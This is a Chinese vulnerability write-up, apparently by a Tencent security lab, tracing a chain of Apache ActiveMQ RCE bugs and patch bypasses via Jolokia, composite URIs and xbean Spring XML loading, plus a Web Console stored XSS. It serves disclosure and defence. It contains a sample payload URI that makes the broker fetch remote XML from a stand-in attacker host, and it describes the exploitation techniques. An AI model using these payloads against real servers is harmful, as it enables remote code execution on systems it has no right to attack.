
提起 ActiveMQ,安全圈的人大多还记得 2023 年的 CVE-2023-46604。那一次,OpenWire 反序列化 RCE 被勒索病毒大规模利用,很多暴露在外的 ActiveMQ 实例成了真实攻击里的入口。
三年后,ActiveMQ 再次站到高危漏洞的聚光灯下。这一次,问题不再是 OpenWire 反序列化,而是 Jolokia 接口背后那个并不显眼的 addNetworkConnector 方法。
Apache ActiveMQ 是 Apache 软件基金会下的开源消息中间件,也是目前最流行的 JMS(Java Message Service)实现之一,被广泛部署在金融交易、订单系统、物联网消息总线、微服务异步通信等核心链路上。使用面广,意味着暴露面也大——任何一个高危漏洞,都可能影响大量企业的关键基础设施。
2026 年 4 月开始,社区围绕 Jolokia + addNetworkConnector + xbean Spring XML 加载链路,先后公布了 CVE-2026-34197、CVE-2026-40466、CVE-2026-41044(sendTextMessage)三个 RCE 漏洞。Apache 每次修复都试图通过“协议黑名单”的方式封堵攻击面。这种修法能快速止血,但它的问题也很明显:只要入口仍然支持组合 URI,只要还有一种协议没有被想到,黑名单就可能留下缝。
2026 年 5 月,腾讯安全云鼎实验室在对历史补丁进行深度审计时,又顺着这条攻击面摸到了两个新漏洞,完整走完了从挖掘、PoC 构造到厂商响应的全流程,均拿到了 CVE 编号和 Apache 官方致谢:


这篇文章想把整条漏洞链的演进过程从头到尾讲清楚:从最初的 CVE-2026-34197,到我们如何继续绕过官方补丁拿到 CVE-2026-42588,再到那条容易被低估的 Web Console 消息预览侧线(CVE-2026-42253)。希望对做协议安全、Java 中间件安全研究的同学有一些参考价值。
2026 年 4 月初,horizon3.ai 发现了 Apache ActiveMQ 的 CVE-2026-34197 漏洞。这是这条漏洞链的起点。
CVE-2026-34197 ActiveMQ RCE via Jolokia API | Horizon3.ai(https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/)
通过 Jolokia 接口调用 addNetworkConnector,让 ActiveMQ 远程加载一份恶意 Spring XML 配置文件:
理解这条 payload,需要先把它拆成三层来看:
利用 ActiveMQ 为灵活性设计的协议组合能力:先用 composite URI 套出 vm://,再通过 brokerConfig 把配置加载引向攻击者控制的 XML。
官方修复:


到这里,按官方补丁的目标,这条直接路径应该被堵住了。
但只过了几周,4 月底,Apache ActiveMQ 又公布了 CVE-2026-40466——同一个攻击面,新的入口。
这次的思路是绕开 vm:// 不能直接出现在参数里的限制。攻击者自行架设一台 HTTP DiscoveryAgent 服务端,让 ActiveMQ 主动去“发现”它,再由发现服务返回的内容把 vm:// 间接拉出来。PoC 改成了这样:

这类绕过的关键点在于:上一轮补丁堵的是“参数里直接出现 vm:// ”,但这次参数里没有直接写 vm://,而是通过 HTTP DiscoveryAgent 返回值间接引入了 vm:// 中间层。
官方修复:



这一轮修复看起来已经比较彻底:协议黑名单进一步扩大,xbean 也只剩本地加载。但问题没有完全消失。只要 composite URI 仍然允许“协议套协议”,黑名单就需要持续回答一个问题:还有没有没被想到的协议?
与 CVE-2026-40466 不同,2026 年 5 月,Apache 又爆出一条完全不同的攻击路径——这次不再走 addNetworkConnector,而是瞄准了 DestinationView.sendTextMessage() 这个看起来人畜无害的消息发送方法。
回顾一下 CVE-2026-40466 的修复:官方在 addNetworkConnector 入口处扩大了协议黑名单,把 vm、http、multicast、discovery 等协议统统禁掉。但这些限制只作用于 addNetworkConnector 这一个入口。如果还有其他代码路径能触发 vm:// transport 的创建,而且这条路径上没有做同等强度的校验,那整套防线就可以被绕过。
DestinationView.sendTextMessage() 正是这样一条路径。
漏洞根因:
看 6.2.4 中 DestinationView.sendTextMessage() 的实现:
Java
// activemq-broker/.../broker/jmx/DestinationView.java:
brokerUrl = "vm://" + broker.getBrokerName();
ActiveMQConnectionFactory cf = new ActiveMQConnectionFactory(brokerUrl);
Connection connection = cf.createConnection(userName, password);这段代码的意图很简单:创建一个连接来发送消息。但问题在于它直接把 broker.getBrokerName() 拼进了 vm:// URI,没有做任何校验。
如果攻击者能让 getBrokerName() 返回一个恶意值——比如 brokerConfig=xbean:http://attacker/poc.xml,那么就会变成这样:
vm://evil?brokerConfig=xbean:http://attacker/poc.xmlVMTransportFactory 会解析这个 URI,提取 brokerConfig 参数,发现本地不存在名为 evil 的 broker,于是用 xbean:http://attacker/poc.xml 去创建一个新的——远程 Spring XML 被加载,bean 被实例化,RCE 达成。
整体流程如下:

官方修复:

经过以上限制,从底层已经无法使用 HTTP 协议进行远程 xbean 加载了。但换一个角度看:如果攻击者能让目标主机上存在一份可被 xbean 读取的本地 XML 文件,xbean:file 这条路径仍然值得继续审计。
剩下的问题就变成了:经过 4 月的两轮黑名单清扫,还有哪个协议没被禁?哪个协议又能间接触发 vm:// ?
我们用人工 + AI 的方式,把 ActiveMQ 源码里所有可能的 Transport / URI 协议实现枚举了一遍,再由人工判断哪些前缀还活着、哪些具备“协议套协议”的能力。

最终落到 masterslave:// 上:
这不是一个“无条件远程打穿”的漏洞。攻击者需要目标主机上存在一份可被 xbean 读取的本地文件。
若同主机其他应用存在文件上传能力或文件写入漏洞,这个前提才可能被满足。
前提可以归纳为:
如图,一个 jpg 后缀的文件也可以被利用,导致了该漏洞利用可能性提升

即使没有其他的上传漏洞点,该漏洞是否可以被利用?
答案是肯定的,在 Tomcat 的 Multipart格式请求场景下,文件上传存在“缓存机制”
"Tomcat当其接收到multipart/form-data的请求时,会将每个multipart块依次保存在临时目录下,文件名为upload_<GUID>_<number>.tmp。其中,<GUID>是和当前进程唯一相关的一个uuid,<number>是一个自增的序列号。"
因此,在某个场景下,当Tomcat 集成了ActiveMQ 后,可以利用 Tomcat 缓存文件(注意:ActiveMQ 默认使用 jetty 而不是Tomcat)
由于该漏洞
于是该问题在某些场景中,有较大的风险
回到漏洞本身,官方修复:

值得注意的是,052369f00a43 这类修复已经不只是“继续往黑名单里加协议”,而是从 Jolokia 入口侧整体收紧可调用面。这比单纯追着协议补洞更接近正确方向。
根据 Apache 官方公告,CVE-2026-42588 的修复版本为 ActiveMQ 5.19.7 / 6.2.6 及以上。
除了 RCE 这条主线,我们在审计 ActiveMQ Web Console 时还发现了另外一条容易被忽视的攻击面:消息预览功能。
ActiveMQ 自带的 Web Console(默认 http://host:8161/)以及 /api/message/{queue} 这类接口允许管理员直接在浏览器中查看队列里的消息内容,主要用于运维排错。问题在于:
这就构成了一个典型的 HTTP Response Header Injection + Stored XSS 组合:
Content-Type: text/html 解析响应体,从而触发存储在消息体里的 JavaScript;漏洞根因:
org.apache.activemq.web.MessageQuery(消息预览相关 Servlet)在生成 HTTP 响应时,将 JMS 消息的 StringProperty 和 JMSType 等字段直接 setHeader 写回响应头,且对 Content-Type 没有做白名单校验,导致:
text/html,让消息体作为 HTML 渲染。只需要能够连接到 OpenWire 61616 端口并发送消息即可
注入后的 HTTP 响应内容

使用任意一名管理员账号访问输出的 URL,即可在浏览器中弹窗,证明 XSS 成立。

利用条件:
官方修复:
该漏洞的修复比较直接:ad8ac87 commit 中,默认禁用了 MessageServlet。

官方选择默认禁用 MessageServlet,说明问题并不只是某一个响应头过滤点,而是这个消息预览能力本身需要重新审视其默认暴露面。
根据 Apache 官方公告,CVE-2026-42253 的修复版本同样为 ActiveMQ 5.19.7 / 6.2.6 及以上。
回顾整条漏洞链,从最初的直接路径,到 HTTP DiscoveryAgent 间接拉起 vm://,再到我们用 masterslave:// 接管 composite URI——三轮攻防恰好构成一条完整的演进链;侧线 CVE-2026-42253 则在 Web Console 共享会话场景下与主线产生交集。
从这次研究中,我们想分享几点观察:
1. 黑名单永远跑不赢攻击者的想象力。ActiveMQ 三个 RCE 漏洞的修复都遵循同一个模式:发现一个被滥用的协议 → 把它加入黑名单。但 addNetworkConnector 接受的 URI 体系是一个组合协议(composite URI)——任何允许"协议套协议"的设计,黑名单都是不完备的。真正稳妥的做法是反过来用白名单:明确 Jolokia / addNetworkConnector 这些高危入口允许的协议集合,其余一律拒绝。052369f00a43 commit 中对 Jolokia 做的整体限制,正是从黑名单转向白名单的一次正确转向。
2. 协议解析层是 Java 中间件的"老粮仓"。从 Fastjson、Log4j 到 ActiveMQ,最危险的代码往往不是业务代码,而是那些"为了灵活性"提供的 URI / 协议 / SPI 加载机制——xbean:、spring:、jndi:、vm:、masterslave: 这些前缀,每一个都是值得反复审计的攻击面。
3. 别忽视"小漏洞"。CVE-2026-42253 只是一个 XSS,看起来不如 RCE 直接,但在共享会话的 Web Console 场景下,它可以无缝桥接到 Jolokia,把 XSS 变成"借管理员之手"的 RCE。攻击链思维下,没有真正的低危漏洞。
4. 人 + AI 是当前最高效的漏洞挖掘方式。本次 CVE-2026-42588 的发现过程中,我们使用 AI 辅助快速枚举了 ActiveMQ 中所有可能的 Transport / URI 协议实现,再由人工根据语义判断哪些可能形成"协议跳板"。这种"AI 做广度,人做深度"的协作方式,在大型 Java 项目的补丁绕过类研究中尤其有效。
风险边界说明:
给 ActiveMQ 用户的安全建议:
特别地,在我们发现漏洞后,腾讯云安全相关产品第一时间支持了上述漏洞的检测和防护。
2026-04-25 报告两份漏洞到官方
2026-04-27 官方确认存储XSS漏洞
2026-04-29 官方确认RCE漏洞
2026-05-31 官方发布6.2.6和5.19.7修复版本
2026-06-01 官方发布 CVE 公告和致谢
2026-06-10 发布本文
END